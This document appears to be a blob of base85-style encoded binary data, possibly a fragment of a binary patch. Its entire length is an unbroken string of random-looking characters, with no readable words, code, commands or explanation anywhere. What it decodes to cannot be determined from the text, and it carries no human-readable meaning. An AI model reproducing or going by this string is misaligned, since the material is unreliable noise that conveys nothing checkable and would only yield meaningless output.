zBn#KbW>ut;5>r|WW^+FYxk%g$pY~|XA86A&k=B;)Kq>q941_w_k>MLN2MKI*}5w+of-3x>F@e^GmRDLyoE= z3eAEZT!n@5BC9gK#wveB1$39@knT7N6GZpKFEb~ckWo_!mKrAiZ96z%37y(ShM@3u z8%uELWs8S;|C5ax6O{Of5YXRM7Y~3lN;(R0&8dM610Fk{%{UmIrv$10NyMnDkKP;W zkTi?ay`UvZq!2PA@f?dR6f_@p7UOl&TT;_*EzP~D6#LOoIU1ZHdQ{|o)i7(12TWHs zME~~I6Bm!)rb^m}~qlPt`7)ov$r;>Kbf)o979B_qjppH=mWWf*IdeN0cEjrg?JZL4b*w z!!Lwdt3hM-sA-Hv`)u10vrqLWV&d)RcEr&4!Di`U(@gCtwpAcW`LB=FUg#l36ZnjLyj%v$_Z#PD7XX|bo( zs`SIcPE4o3M8Tx8D9dly*N(=gKj+tj)HAnT#da7@|J*bqe$$4;j?qNDvg=-{;P|Ta z7?X+}XKlZaH%O0a;Rg*bVej3t&CL;i%I@PZ%sDx8thQ?nUR}Tbw{ef^h&vWJBAP9( z#?S=UkgPRLn%btpS}K6t+awTrE$L0>Fhk=rvAJt254-;eUF6sc=)bXuj16>BCkHKz zURVnZ+Nttv?X2=&=qYjK^}X}V_ORX!Huu(mN!&$c`9M4BbSfhZ7V7G!lDpiVpsdET zZE2KiYLyXlCE^Ud?+tW_!x*g@sJYBD2>J2{MF5f{%!1-c#xf&x7q;ksJ9>&pPt|O- zn=P`ij7TP!tESrDPwp^(Pe_B-?6Eibo>3R#?P8CeXCzxy!Gn4ZY0~5<{AqaK{VdCI ze@%!Vtb8;5Wuik^sbsRMgS0e8o)o}zu2;TpI{-ABFf<$Iy}d2&>Gm~uXh5ufNJ(KS z%~(9IiGkx?k(5M{H!Tk|0EHkTED|1QbE4|%@(=vxsL~|L-F6bJ7f+~>-0ttr=j3r~ ziMeOHly8!=b$5Mk(dPP>H$II8&oAg(jOK#XCu zC+?KR@7SWD`rcSFT0qh)GC&07p%Ht&~RKeN5ZPl!&!($$y(31zyz&=66 zRQsx9o?rSxAe8z$DcjElY=A~xd?K!B!mjK{!G`Iz99Cr%E`Q{(6W0$+$GDs)iyrIYRng_ z6O@Bl>%ZwLE}e_)yR%;=H9Q<%2}aZaYu2>7pB7{D4rqUS&v2Oo(Ks~Vsq+Iefst%l zd@A<2Tt*$OlXWVNZdlDHJ20v9AN7R3RC}cMRVs;bf<&`Qf+a3LK7dsLzb{%m>$`@; zERE&V7TDncIL&yv|GP(eipD{G5xH=L!3lO1+f{cel9-!6gAz_Pu!n=Px1SV$HAsHB zz9klGFqN28X{y&7ECC~H;*a9PuYt{6@n)=EG|Bb|T@Cv%fo}U2v4^i)GF6-zjrg^m z$A>hIZ5(^j?2cJLr6)-6^oKRt&C>#BK!I;)M(mIEr}&d}BI}SIe^CNDNv>rx62PY{q4|q)luSVbUrYZw;^}0yh>IpiQcPeJLr=NuoVBwKICpH#64>EO30hXY`rW+>c)eE}VVE77F91jRTu}?xP;&nran) z@Fn;nh$LH{$@dxraeZ%;62~U4`eS4cG+9j8F@YiH^eXuPN%60QO7&DWQD1JUWe3$e^mJzF z*0?w=?iv6#e7|L~I;mJ-GJf4I^aBT#5*T!6(Nq1n$S1mMvBa(LopY;nIL9*hSS~-V zDBTxU)keX>NcDdK6#^9~R}y$sov!9>fX5Lo&_Y{Jlj8o;F3G%I`+Gtn9<6F;^{tb& zXSLGq33-cU1GNxG`#F;Ix4a9#s9{pE{wDU_)?1}|Nc@)0{6PTAIqAXr?_WmQ)2}Hf zpG&!Q=})bpj+DOR_U!h~UK_HCLi=lHKVZN7yyi&aNCZtRBBVqi#Mpbl%p0n$7&v<$ zPZeaa!2KIGsF}b!+Ah5y8`Revaxj(Pa`;i-Q|QUq?!|T&_obMgn{&;Q({aP zFElByBJOw=I}Z;4Ye{i_kVwQ_JAOu=KrTS9>K7s!$WS`s2d)FG4$mY3-X#%XJFlG;z<& z{D!`!1=Wbn4c<I0d=##4lnL>SBwUtY)7$EAZCvSb;@VX8*z0 z$1hTp*&xf(759&nj9M;i+q&0DqBc84;E@(Yk+Mb2Fx?--shnW$sL7*TzTMS~Cq*Vv zsE<+Jci$=uaF1ANy9S|;J7IlC`?Gq6Ml;Yd+JhFGKfoc0@E`{?W=y|eYtQ=PG4Fd? z@4u@5Rl$8_cPOHueq4-u+b*SFo)sVp7$$@Zc?bZLFocU|-GGNIfuvn+9T=i`@7B9U z4vFEuHPJJmbA0_Sy@+FdcH7;303QF3?us2K=Y$4K&tHYgAUU+SN$2qSZxBk0RVkPL zVpHB^hC+2Me{McSgQ|>OJ=;GxXTr6b4c&X_+&7iz1AOtFL7`rPqkF>uJBq zS@*Jx#vUdJ8jE-@WUzK!{Dero^x)hc$Lr+0C;FU6E$H@aq^9G^UzI{oQ_XHir(IrA zCDpD08Hr#poB#e(E)w_|hwa_>rEC-e5l^a%LVcqhDT_iGIAG)8QUqFR2B+YhD<@n#0~ zUHD!?YF}o%y#_;jf-j=B?&M$E@(;6xJ2?u-@<8~DW9NH0#xnb?twqJY1CZ)N{x$EfI%_kzIgg&W$B(>Gw< zQ{v?}$2TO?D^AW2V4t?PkQiKJ)b(_+jU5++)rP>!>X1u5k?+I1X*+$Y%|vWx zy(a|59p4*zks!q}d^Ky?@bvG@cZ+3eZx&D~lt_oOZ2v|{9&O`>0p&^RT0VQY!+F3IFG-#4suLV_ z=Af)^lo$Cle6W*#JitWpNFUheN(+W5nMWKyFqTXy8&+s~cl9{K)zih?Ua)iE?X5F9 zO2jrtqI>j0)1+Mclf^nl_?IdCdobK-jDO0=$gwif8#>QRuWGM&F7;c#4zgyWH7hRQ zc9SsJymc~wxqfACeq{UsnT~a&C;b)O(*D`x?Q<1=Y0Z+sq-`5CL3?i$==eZKhJb&JWw7$4mLg~+{~=ytJM^2jd4jQwwG za$68RyPu2zv^a}h2$VFY_(}Zw_aPBRugSawLRB68x<*tkpUnz|Q|vqAY3@iod#n!YMCW-F zW|Vid7PwknN#`I_*_mRmg{O|BljCt`CWYGSuW*pz}enh3&zbqKm?KcWaLKOQa^Q zpYs`|Cq1z1cWkC$11ZzBr@sy7GNw*+TMv;b2L)Rv?EO1uK!CvvX*camy03x8B*3pk z-Wk7wQsv!Y9msW~+%pnj^u?*~K9_BL7VWD=8(L(@iq`c+lb>KsKAuG9GsWQ?BS!XR zI0rbsDjq|dK8ihEyz-eTFU01fgNH_LUaEVQS(#&3$^3x0HEQh65dDq_PQl_kwl_%b zj+9_@NPLmikK>7xDw-+`Ad9Q}YG;F%>R_!qG@*SM$A$>QFD=&+z`q(4vfb`7soN;` zLQAit%bic}T5Gp}W?cIZ>fjG6_5LAjN4oiG0ZkyE7hy+wY)Kxs1aj0oPNH+gZKg7- zc+$L8zgJdEx%d|Rx}wlFHymt2;dL1xPU>x)%|ADj_77E+)@{y<-=Be9;LV^p zD>dn<^GgYxd$LQ(8-}_cDW_98DX2fc23qzyX2EKqb-gsr7a_=)@GA(NDV=k`8Dpo~ z=*Ib1&9Yx|+z_+;RV};Yvb!8{zQ^ftdN+uROL+E`1Dj~j(BzZwiEJUHus796ISd3M z#u71PO%r>mqyt&ip-r?~GM>4+altkAPtmIDMMhS{w7xxJWT$RJ1bixGhOS_K@&xI0 zq(;lAqn?{>_arHOgHUwt5vRL%2%57AFiut^#oo3dV$M5ZmhZXQ&D+Jdwq`|if`eS+ zZhWgvUjPVfXQ}6=p;{)NHs*EntQxQFb&YkwL~@WXpIx^O&G>qZpATYC?R`b(E*5~m zD|6aEB$){6-{h=LE>=vPxD@i}22$+^MX5PvXa?3#nzZmRGaE9Lq=`8Mz5&D|BBjsz zhy)L^Ym2l(O*GnyWp9{vL^)c$QPhISy!hX*faLR9m*Dw={dl7QTQOo-Uqf(dNh`B= zz!1DamS$}``{J7v9%Wb$gO8wGrxV+s2RjQJljr~4Uu;$kV4Gvnl!eOimq^1O> zf8E~2ebNp3Xf45x)Yg^NWgquVAD{Y1mxoT-kLZkySropvM)x}8>pkRXQW(+{h&AO4Y4>I}wb3j?_tpT6$ z?gF(YPsgpwta5&!w6{!q8M8(*8aMP9tB(_ZdQSb}g2II}Kvcngg@r}TP1+9a0iY;3 zoFpIJXkPvStOB{^r+}_1WVEL)KAeM$CcO?Y@fx-N)z0NvrdPD~bFGxWu4Zd%fy2Hn z=4SGY`S$B~!aa|)AlEAIB+fn294W5N{4ttb(}hmwEZjr-x2F!hZ#ke#v?z2 zZhArMI?VqJqm5wmA$x(O!^Gn}CtSK*!3s`@6 zP$um(-xoVD(h)UY|CLUvfw2JXIH|KT8yw^BXb7H|1IcD)c}o2F!DPvCMtyZGyYsv0 zoS7MUlycXMq&kEr%wV5*PCE&X6+{QuG-?WR9rk3~{4nu;75j26mS%O4?+txg$T0Zu zHBs5=7Ad8tgUf9CDo`hcX{^sQwk$;XZ>g?tD+$m22s-;ne1`po5mp@gd^rcEbB>_P zvZ2E^B{>#wdW~{#@@apLONG65J821!eVvImEU$raB5sgSk&O^XFqjyQE?858Q?zL% zrDibt8Gb?WfD1E1L@&pW_J09MWx5CLpy0t;l|OJrNCbiXCYH+!Rr0^{YltmgN5aaN+rD=+G5picsMZ9ec z099_h4*)&!udy3{^h(3HMa>v06U(-=3}Wn4=jZOTcw9VDbp7x2F>devjLP+nN5J0; zEg2?)6QYTbg9vhHz=?I3cP+Btt~kig?r%`wPgYG(N2{T6nSImy0mZT$F@tEnkq672 z;G7S{oh=5bh)xzV=q_;|8=bpoa;|reoF=Sqq4g>WCgk-AK&xM$&B*e66k%#q$5U7+ zooc5c0SSJxC*B#}(R_n4?K^dZ&YjGqfmhqKuKzwe?0Md3Haj*3`Rv|*qJl9R>?gsM$s z&J?4A#aJa8)2>MH33=Bs6(-0z=@+&l12#KUDAh56%RdgraGB^BTsbg2>-nG2svUo+ zoL8=~o7&xY*fa&jzub9-7^_xF*=~tje9M01Xx0(NO?d%t0HI0EAIkI=I@nFyVQe0c zlAN%RJ>PPFve6rvELomj`sR5j=34%r^arCEqhhqa;z`9S*AJd~V;?~n2S z@3KAHf*Nmcp#q6A*=@nQqK%&?N?r-^bcb(Qg`0FJO=s`Rzfsj-$H2(f&52X__*|Wx zhs~t6wN{UgysdoG`)#gr{Wzv^{R%!DoMyQ@Ru(Cv_1I6N(-6 zt5r&>>$SVSG6!7f8I_!N?@G2!KF_4S%6POGbwc~a3+8F;&=Hi?r{1Ssi8TA_r{&XN z>dK)+R}!OXe8zZP!LGN&?o?jBrF?dKdfe$``Fe|G+J;A6wl5l2R-2o+6Ki+)fq)kI z+(0Z%#m8Eb@R`Drkbe6J*V{pAYFw9oFD~8GuEN#<=S)=;8?z|?=8+)~$f{eofeLZW z$Cd)pkj(jC#Zjo8`Tqoi;v&b~1RWic;hTVtyV5{iM|QU&Zp}Ij1o#HXdaBU7IrCeq z*n2#<`SFynw3^-<(!084gQukM!7+UbRLxX`Jz?$|<>AD3@$`q9XK5?HyZ7wAU18LH zzkNe`I5ora2B}ZSy(Ywzn_MyU$(lXrTl6tA{wt*Lh_X!S?3+_fn>9Pf+ zFu~6XyLaKR8qsZdZKQqYL|>WT#UY7AlpDu|s$&n^yXC#9UFNqcXIz$aMW{Cl)=*A# z6Iv<-l5YT<;$(A$YKFV=I7S#_qWtihlIB44?mK*LvT;`*gC|_`Fdbl?nqsmc7m}wJDSY_4kSOoJSV7iTPjJ5nZVAmw&e|UaB7EP zsy~%XTT2TrrVT;R7qlApB(0zNDsb>0e^$-SHTBMdna&^12Yzva2EXrHXAM|e-y%C5 z?V?lJw^+r)&yE8wnTX*D`RHd9w@$I!oEt$`?G_Y-)YAFl&-`^kK607`?#rlrW~xdR zc@9bwv^QgqZucoA`_A7u$k~;9*7oFKsdK~Gz+hzCZ}Y^YExGgmWp&g{)mJ%s1&wP@ zZcS|YX^pAc8S^J7as5d%rb7N`Sx_D$yFo#Vw*guTA4QES9xgjheT1Ui3!0(*_>v-a zYL06grchmAbGPwbWrOS9%RxuuR8C9KK+yAHyLCbFF-loo6{2qPP(L>a&mJxMki1vu zscOm20q3<-YYoGUY>Br%43dZV2+9R=Mr|$4p@LXP)T>7YsoF%{C@oK7PPayJnnyQO z)2x*gT`$-M5_D4k@XA2K90L`@IG)Y_eu#>O&8y}&@Qq2 z8FrVS?&0;Da60S9b?nc}Itu5g89>v;H9az|QsEhD$XYvw%FWBiH)TPJW^_I3A|Js4 z|8rhNDOLI>S63b4DlizuYlm!DM%YH;!++YXcpPbD2o>uBr~rn?DP4K=WJn?P%Gkju zgCSwgzF*bH>m<1-sKQ~kBe(rXo?gN3{PV}wEc}7NX%3lm*Ux^PMJI&|{nQbJw{_7N zh{;6-v*enZtjBFr2fY);yPvX#lhv&?J-8XEuJ1KnUKv1;-+=TxO~QS$OA)-kD-Du8 z8s(mh0ZkI71jZzrASsIKwFC~O2lYywI5}I>Tg;16UL2;y&Ib-Zae=MJFz@Nz=C9M? zOT~>xt|&vOX!r>Ps-a&&Xg=o3IdT`%gBolr`mOc39RzHc6Y|)I5CgxnHRu1w}Xn> zxo+G}ym)!X3~s7Tn4W*z{7%#@f6nh`xY}JGJvU-|Q6g$uEYeP5-D-Nsk5pO_GQIrDK1rU zHiOUjNRPiRZv#c@kEJqHta(E5@(f<#B5jZ&EmU@GrwR|p))hU0lJ*M~X>7KdL>=!I zg0ylIa$5g1WUHWPMt%c1e&XH;q>Ti{XlW9adPFa48Gh;_3_P-r#I#zc1P5sG6k12E zW(K#%BwJ(S<14>hA4>B}w5f(4eY11#hsEIJCC?D~c%rBmkVVL}c6IhJa83OxRIN($u=X8fO{SiphcPUR`Y190k0eEFyE>}e) z4-S$(i}7^{ZIY`F-+gT(^<%)CWHSsAZi+l>d(Wk8RN-1F7z85d($bTn@2}un(8Xt zSNO|oI_s^y?GydmQJe}8<%eT!;)zdYB3^xxvh+jfk)|=t^E{;Jj0G^g8D21j_lsnm zpI`N93+J3GmmuW+rJiSr-z!ZIGn&gC=Zr_jI_2R=D?1Z%H)$(%YVC&dm=}8;*Sa?$Pq*=`7A3OPxA63UwNpYN=XY8HWtc8_#Ca z@{U3sy*5K&o2dnLJ;I>Hymb7my8pW=EeStZ8P;h&B9j2xcqX8=gSzT_#+lJ){G$yE zDgWC%53w$}F+ZwPV7!DjHs3eaZC`4`hp4*p2TE;#c@!++!1hPN3BFYi?Ao~1r( zB(hUw%B!_B7_t)fAxQ!(&q98Wrx_Qe+WSfK2gY_UWJui}t?a z$O7(28W-Qr`E1%Rg(Zm|eYWGmD-8K?=U38ayq3zf7+}HSM9^9jm?IhNIWY>>T8wF1x6dH_F;d`VH;TLw%Oy-QlJ<*w&(RX{c!P zm(9%kHPyh`>Mx3 zx^@MbhqJx}*#%yVySIYQ6@(ixsAs6dr6&Z3p=6S_YhDZml+Qvst+S_}Kb>b$U?g3o z^de59;xu0dP9mewyjnLFQlj&eiKQsKw!3|L@3nd9oLSaz>8lrCKKRndsn(FQGS9Xm zqi0EX!N3&q;fCV|tOFPDkM3edP3XG)ayt~L1z5cDshS%QPj4_GuLUo9X``7poQ?RG z*pWI8o!afb?Up9r3_Yb7xMkY>w#5hCRu^t?fCA&*1q-uhN`Da2#c=yR(FXUPFl#X5 zS_m?>T}C;hX=-!3uKk!w$xMEv?CYQ?gD= z7Ax9SRQ_Zg-8#*i-aM@3=ae#cwa$pIAEfsCe#P=e5!L#1V>-FWjs#sMM>1~@Hijx5 z=XzQZ${xS9aJt+Wt?zMZZFIT9*|&O3$S3cB7sHOdCLbL*&y0%1)P=D}Yk{TWAN@d| zpT6)*j}Ik&|L)r>qaPx3aW7qRl~=Oze+RavCOjJ7; zf&Id|D#v*(X+p}Dg_aGwxEc3^6%8e?fB2JoeN$# zb+?#It(D_X`|J4r=)RTJ1L$M1m(He}3oaQQJ59#VVPF6g&=JUf#c_+lRP{JT$ceZwI%;1n5jOaap6n;!l}bdGJn#(??$mX4!; z{XAS0KOKp<^^fjsb#1t)9tp^2faX!mJKEdLB$5{Go0=-IqXN-!=1RwfcR@%xLM0i7 zmy08vBj9?s44`V5{NFU@xX$4sTQBKiPn+GEZo7M}1j6ExdHv}IjjH*v@~hl=VCky2 z*anW&IZr&y0+tDOtI^wAr7c<3WHZ7OS(#P)II|Bt#StUVDfex!-)p6Nt+%+MqwPa5 z(L98b+ZJ~&cs9&Z^@u8)z8*4a;JVJZ_oiTB$)H;FNqH@aPy0I90V(SC#p=O-y^ zOnxzVEg)Fz+VT}1x$S>_S50B*sgO+!VAslpbPE)Rya4jrfMDsEBGeO|ah-~4Rs+J? z`-m3Th|A`mE}iXT9sus&jB=381`Q18D|PP~egRJ(j4y>LP!xc^eyo!n0gc}13K40L zsEfIlXP+=rH@S0Zo#)fN>+#E%uch(vb?e+2;&=;3z7A*l*(pbTJXxy(mGvLJ=qX?Y z@U(XPp(37_wRk>%2p_(ju9aNy`{uTr+nKl#$VajT>8@x@WDhpHq_`7>-{D+~0ZnXf zZAX>#XRY)rYANw8onI$iJx-lSjA)OLgR2on@`*zPUvf%!o@lDFRC8K4Ky=-S!nZYL zb8+`rK1|g=n#^Ia2uxELtF;^bfRybJu*9t_;>JT)8e^nskdx9y|Mtz|R_`Y4oM{UH zH$)hbnQO^M7#epY(Yg+wsrSd1*1;5>@fd8^UL(h7^mGLr zL!c$-VuFbB5eTJVeA3w+OGg{aFp#xC(&W;wBJu0bZLeCzD~RC(IYH0szx8KM$j&v7 z@7hps2Ng(HsZMkrkTyQ*dz#UHbpb81-l+_*If@gK6vr`H*@NrNUq(<<1~d0k&sIlB z$}o#|B=y~06k3^%7{{0OqJgn96M)|Rwum`A!Zup#T>TP%vTjs62KrndmAc~2y0qvg zm8qtHt)#290i4V!>{O|oUM`3Z{{&TE5>@oaBXU#VN8s7>Qg^>J3rs;rliJMao-V1v zml0PN1IeKzX(JLWX6u5m=;IWN`o;-YuD4=uH4LRIOKEfr8IQEy@}lkwg;n3~T?LG-@TlbvQ((GCt`~8|FY{kIR*A1pF9$z_r zbGGdLl#b#*I*2Fu!X~<&T1VC^@CZ6B(}fN%{#g~&4LSlg6ub{9*2>zGrYahtnkV9b z{nkvar3M;2r_=eXE?-`1t}abcM+L4iieK$x7leaNgP)J@L%nvp=Spw;2|ZGjTl}+d zaa#DInO4PRqp|Os+!l-=uAg)o*=wCQ$T%7gxChM*M{R;<(6g;2BPEBrYQwu)GyI1z zY+HRB|F;p13w^{xln*`^`EW|6Td+fCMf&UgNa;?si!H)^cgiuPMGRJlXs77|Ak`z- zczmz^;12m5tPU4w&WR|hxYcc za;ByD6S>91B4Q6Po!5q$kplvtHE@b)XZ=*Ix7K|(qofgG>@S^>PP^j*hw4)2J6Qf; zuj8@2TAQ#e9N@(;c~LjRqAw_yvI>zWYlAEHaht+~Ux3^>{5BA>X4`1SR=s=nw@gy` zj7-ABxfYgM=GB0ZqaGLopqwu`eIG7^P{dSc!T@ZEV9!#7#X)al#J$9G@1ZWwaGdEs zNr1rqm5vm$n;Fk8`ZuBUwAqY%&Brs}Lur$z5@lfub{lWcm-gUy@E%p~_2o0KPTanSu;x#POV7Rldsh?HYfh)BlYb*m7CmIcyss5P3)g;!Qr&4E3Pk% z=OWC6c7_)P^P_O}@4|(qtG8qUX&L{L8GEav*j#_1!+WXLU@=R?SAcvkahL3dlcT#} zOk!t*=YKmC5osCMda{tv;f=4=BCCXn+G_+XK^o7o1iu|+>F+b#j*KuHO}<&;9o%1v zPOwB(`=?}7KWKd;F>ThRj-$;_Qn$loiL(obEerqXur~N$l6*WsS|?k}N>Z%p+byUnn+Bd|$4BnN%wi>gaLQDB(28hlBpjn<{~YFs(pLbcfKDb1SC^Mti8VlzUN zx;2Nz0r8($gichR&pWInMKne3824mk{6RH>=b1_qjD7LmSpM_ZCmA7^?|L&Y)}&%y zjA1v%bE;NxT3#e%QynBzMA-I=SO!A%NHJ$;?AHSJ@;|2Te7eX#rtix!I{Q5swHCM; zwPlv1HzyVa1C-@6>xi#^l#oaWvd)=P?-`B+vRMpB?E&DDw#?Vpz`c7Db+GhFBYw(H|&`a7% zBIfc#n>RC^OI4bUuheTzE(f{~f%b`APgRcEe@qZ6x*eH+&&XQA$D0%e z5&Csv3i=_jO+w@)-H_}QPd>H(eGGQvbh0NgT~Nd&iKdF^=d-DWO^z)JhjtkY;vPgQjK_W(B#jo zYf;LH?(G5og_1MpE{J*c!44e(006oYKRK}x(C=j(LIR}x1n=D5ENqjb_amxoxu>Aa zMkU32$L`N?`>U=hj|lTzUth`V#)^t$w;Rg89$4QocOXpH>A23IQ0T%t{he} zrawmm@`<|B?=w%pTX>zsr+HwKziWX5jd)hU1{wT?z~M^DE(-uCz9N z-cy`7-f9u4X`2vn5gKemwuq$P2C@`>EmJv?fA&QDh{KPDht%8ej^TwqsTUZi`^ew8 z=3B>PgJB%ZBj42l$cbBIi}x6o@WRJ{R$Ha06exBv9JM6-HTQRnEH5SR-RZ!I+7N}b z%boacYB)t6Sh?Ox166~8WSSM00*Y3CQZ!u>YX(5~yJbEL^__AsIy~cXMb?G+>a1{T z9=JE_-XUBm%)Du<44VOdxIpr@hR1KNMi3I~Tl(M5`urs6blLx7YIn4<9(snZBPSL( zmPG9(+Nu1S32uCR1>M;6naG*Xr^N^eny5FaJ$aeBHLG*p1ACf`j8Rzuc6&hWc659) zv6dr59*E5wt4vj4{WC2Av^utn`R5s?G$uR(_bLJ8)nOuwivIe$Gh(vD6FM6!CNtbV7OwjMApN`xGBT2sgpDbeLA*``dJh|SbR^RvFKgLu$v=_bs`*XIUwp6Ro|CbE{b%mVot=*#nYGY6}D`~danc<&1*fUj-Jh*zJC7{1+ENfaZU_V{i%F@M&F>0WpL(giw4R+S%G>C%dPMnI$@U@7xJYcJ?nckgNV4A%qHjy{QdpPwuxKXlpVd-O*Z?2OYV;PLI1uM0z zw;1$1Sbc%rozBc}A@oVK0Tzh=-!ww|K-qp~0;T~NBoFFf3Y8eC&-z=TfLM%cmrRMQ zBAyU`k??`t4PY5GDOQG+^#9tiH{ahJOnp>S{m|gftzUpC@%SSUq+0^<{$u*v`|KZ6 z!BERX5j|6Cw>xFhXjEI~>uTv-i{`rHpi*6;vOKt4<1!}crf}vt=1jILCOA$>3lM@8Q$VK*ny{lLdji#qA@2u2s8W!jD}a5EcO-hr;pPfVYc0I zz3;XwtO_J+Eg%jA{mPZ+YT|I?690<*8=N;XW14lQT) z5mdMjia%FS%e`ZjTB16r z6gLc5oXSOoRFr&fcF6HB7|8uTrW&ip^;rrq}=sng^&u~Seh6LM8b9ymD2_wmXfso&~0`%50nrj=Mf zk#$DplY87GR+i^Qp}yaaiWw`VIzIvOX*O3}B7luI-O7}s!#NtL5pf5EcY>nmIe2tN zgfwmhBm(tm(=0BLRLcaZlaJPFy_7CmsNIU3c+!(nwa5~kp**D)8mb-x*jilXf=Mhi z{lA_wqC2DtXSXJ_m0KfyYvg%Z0 z2j_-<_0-`ey0ZdfcOY55poZ)`2|H6t&7}qFzuizzvHQp5ViAJ2Y}nyR&f*3VE{+Xu zzkW(2f!DSY@k-H4WO#e;Ep4f}K9$uOK5{?K$G^n$x`TNp8V>kMV>xvn`QGG^^1b*& z?)5^h0@Zm$wfX3!vrVAL z`Vf{MiXER%CV9e%Vi!G7_8Hl5aQReQfpfbgI*K)5@-6uEU~-03lGMWniKjqDwJalk zfzTt1>nQQjRd6^|$^vhj|6@{tE$WBYjWzMbYIAM_OJ zc!zX!s&wL+4-f8sJ#sDD1+|dK@M20d#K6k>=E@z2o331^Y0SyGZ_o>z7kL-Z@epcjPu+<%b(ru`Y_T-Ypm%CX+Fi} zn$X6K9+xBQ$>*=yZi&Cy^>c(q?94}ZT14NVaSh=k;<3isJEfT2N^`8 zKkWSl$j}A(m8}VB5yknRVxlf%NF|kH1&lCDN8kH=;1YV=H2E=hG4{!_FrRa!POWT^ z+3^@3K5lb}HXr~D#>BYj>ZxtCFpI|ud;AGw>SO5Z(-Sk|x7?zLe9$61REvL>>}%;v zRoVbC4`D2hoAal_v72Cv4G$%CFSVJ+R!e;sKt_{6JT?ArSDpGON%$V;iRigTa`*rGuB*s{K1MD;355pewY(#>5dG#M3O)PD87iK(LbamR(xGORqX^hR$)yC4ZGM=V%0 zWZq(<9XC`buK;pG@d~wjk5LSscx%-hO75vD>FY>mcGolDLFHlG^}ah6TjO->vGxGx z5M84T9AsZKlUp+7WWV}~t$Z~vp~m5!qsxVb@WGZ*zpxa$(cP|%4hq|&KOjJTM%CB< zSxjncOL4q6-o)~LvKE!+RcNx^+9&t)i{a%LXPB>w3oheai-s{Fv^&QB#6&ir5nySk zKCF8e^*wH;-@ptM{NQ`*x9VpfITzo{-I4##_c9fnpR7J7^N$HtZTOggRK@Wlj~mFq zcY}kAFhRd}oUv!Y;|vXJJ90x8L0iYo>l*&-#;9zg((KJiY=?4K5B75xhrA;iT@ZW7 zw_@icN3^X9U~1G@fAZ33y~s&VojJkiwpnQ8#g|TDA$_}Q@M~>nFWV_%H+7$Us8>FC zl(mXvm@FPlz<;6&k}>n%xM)nlfn#L=Z5Je!k8L?luY;W4YSlTfu*bpXA&AMjLX8JS z!vo7aKTO{rlOFqBCpRSfS9wE^Bm1nBfTSBa*36KlMaT?B;A$3L>3EN8CP$dRuxI`Op zj+g|F3CHzrKA_&BnULYXb3KQ)@^2QqJ4qO_?tp5)EruS_@YacXne5VD<0&YeTj^C= z!M2_#WLP(>-<2K^E4qtHQjxNK?K^ce{`Mj5p<|YF=3(?bI&OfTg!}2tN_PO*pfj@L z+FAvul49ud5vR2sNy=r^yUjL|+xdS?z72QUT@b1k?;;ciBLo0T{Y9UEAT&7&87!5U zR5;ubyJR-`(Le}#%7xx>=g>lRH+n<&oBay*G{qO^YNq2%5sjbAN)yKy3;haYmF(ST zGHuwU6(FXMzh2J#L8uKcdAEQ@XROa1#0F@cooz@2O!nBU+kLGU{X}4g(&ssteTU;3 zi}=8+n+&xj+Q$N)kp~#uw$D$k2sz^;G0t(wEa5Ha8f7M4y1IB`!oj20cVD*@tXWx{ z36`X?FB&S0R2QZ)>0T}T&dhbgS$Carf?V>BAq6v`CSHhrrV|ODyJT^3Meya=V7Eu6 zX8tvsKZo}q$G=mbTx^)%n67>Te3WrGHo7snzyz?=yBLjEDyYQMvZlq_XLvJi-mZPZ z%q0mBa%v2lRG;?*&)uy8xGQ^RVPp0%Jh*-%Yh!o&%wT0R@Hv*2_}HYa)oV8`1G-=W z33OS1)>B(66lN=5reA#JOo+PTUf@%cI#&?UN!dRC+0X&1S}r$(|R1x8r=l^tL+YrSLq@ZsuFYMVX(@y!0n;&Bv|UyVYCQ6Txkv zQ@kYZw27%h`K3chMl3xe-KhWWCTX~jaiKMnP&3f=cgujLWwD{v{Jbk>3p7S46hh9)Vv7`YZ2 zcKD4EUY#<}@&38(QevmjnWRrwzOPRK@w!895DWZo^chB`lWo+fPMm2icr%D=>_%q5 zf4rkIKLJhLnb$Kyki3_>AB8Uctw2(Mjl}={uq!m3ZfIWk#$o0fRR*x`onG++2cy)2 z@z);4$c)t8wi&iYp+6pvARLTcAAj1n70;Qd>fHw%mTBcw*MCgUVt}7)mN#l?hgfy{ zY5I|5&Z*JD=EQ$Yqn|koz(LE2t&l9^WsNTB*j1sbA-KPN`1s-9%jKR2alnNSiR`sV zAIQ0iEKyZ3G@**j;ofRSWCOL3)OXNa<7B6CZ`Dd^_PbyLXz8(jjqw#;^rIy46Yo>d zH@Vv1Bwmd;_a8N<3!b#D@I`Ye1z@cS2nREaEC@?3Kk9m&C1Wh4fBsHC=I_ zkrvyV7UZ0a;Bo(Tl}(z^;CnIOrOQ^qBS*t-)-kC+$ve!7%^&q}4${?w8?cNmjcbP8p#XG=3w$imI*VGtC3y4`OS|H-c5^XC; z6k_}?MJ7^(r->Z={&{Y@*m>2&(4(aRJ>dH><6!EC+P*jVb^9FaBQbe5dhSg)|I$Au z_W@=nPc)pZ4k_>irZx%8Q2)tZznz#eC_3MThH4c%)^#` zS<#NzVDRn^{j8tKxo`z|dfG9pB@kqskIkeSlY330iH4ooLPmp?bgOwW_Q@Hgce`Mk zZxC9!16uuyIQ_=q^F#K{>g!L9WL#Vlm6CePouCr4TW?|d&kCt}?MLQxpR{u z%3=QdZ+VJ-54JJ;2q$ybM37>bC$ z308|<@+9XNd)rn53zg87!#p0i6+ISlafq~4*QaAvLq0yFuv9KwZJlw$G6t+9E0s$> z+-}p0ep=x11ZHh1Q0j#ONVVh3-hJ#Hl?T97EO-3?`N>kB=f!(&%R4OpZy$jm=Kq}S zW0luV=~gFssI2IBkVuPDYC#z(8Td-o_RSQ-3~~0~%1{B-UYp#gT}Ouw!M>dL`3_H< z*X+M^Ls-(kOI1m_o!~w({>56~aY7z9Vm9Ge^B;7H==wjV3-wxHk%)Ht-oTU7_}=rB zsh@#tT)dCnVi6h-(w{Z*Cq&-t2*8RTXJg=V;cO2^0~NUVU54|M!teInHW_oEu@X)= zE%iy={DD*6k@Pyf*sm-<1iA^GH>L&>mEMW6*JTho&dfz}kQ`z@skV&nOdl67&8TTi z3%hfkUNL&kbSBrB%pGx#a;76WQS6e+fH1rB{Sk~7a?Jv``ngRN?w1Che{Bfc&i}!h z`beMCSn*&Y;le$g$cOPwPwl|sE~4V`o2mCvZ1U2TYn zitkiso6*3m6Z`}ave@w1)ifD7i6r7HTmD0Iq#u;Odr#?aF2g+ShuGeM5+kkm33`L} ztYj^>PNr@0ww*+pS#EpAjVZ&cEF$c!Co4D}go?S?w~7uG-GYQMJR_WAzm#;JOPd*^ zXC1QudYwC5j2f)lJnFM+l$X>$s^oLc*0MhQZvS+3tb2`}S-b3xqTT!h_46qyPugcr 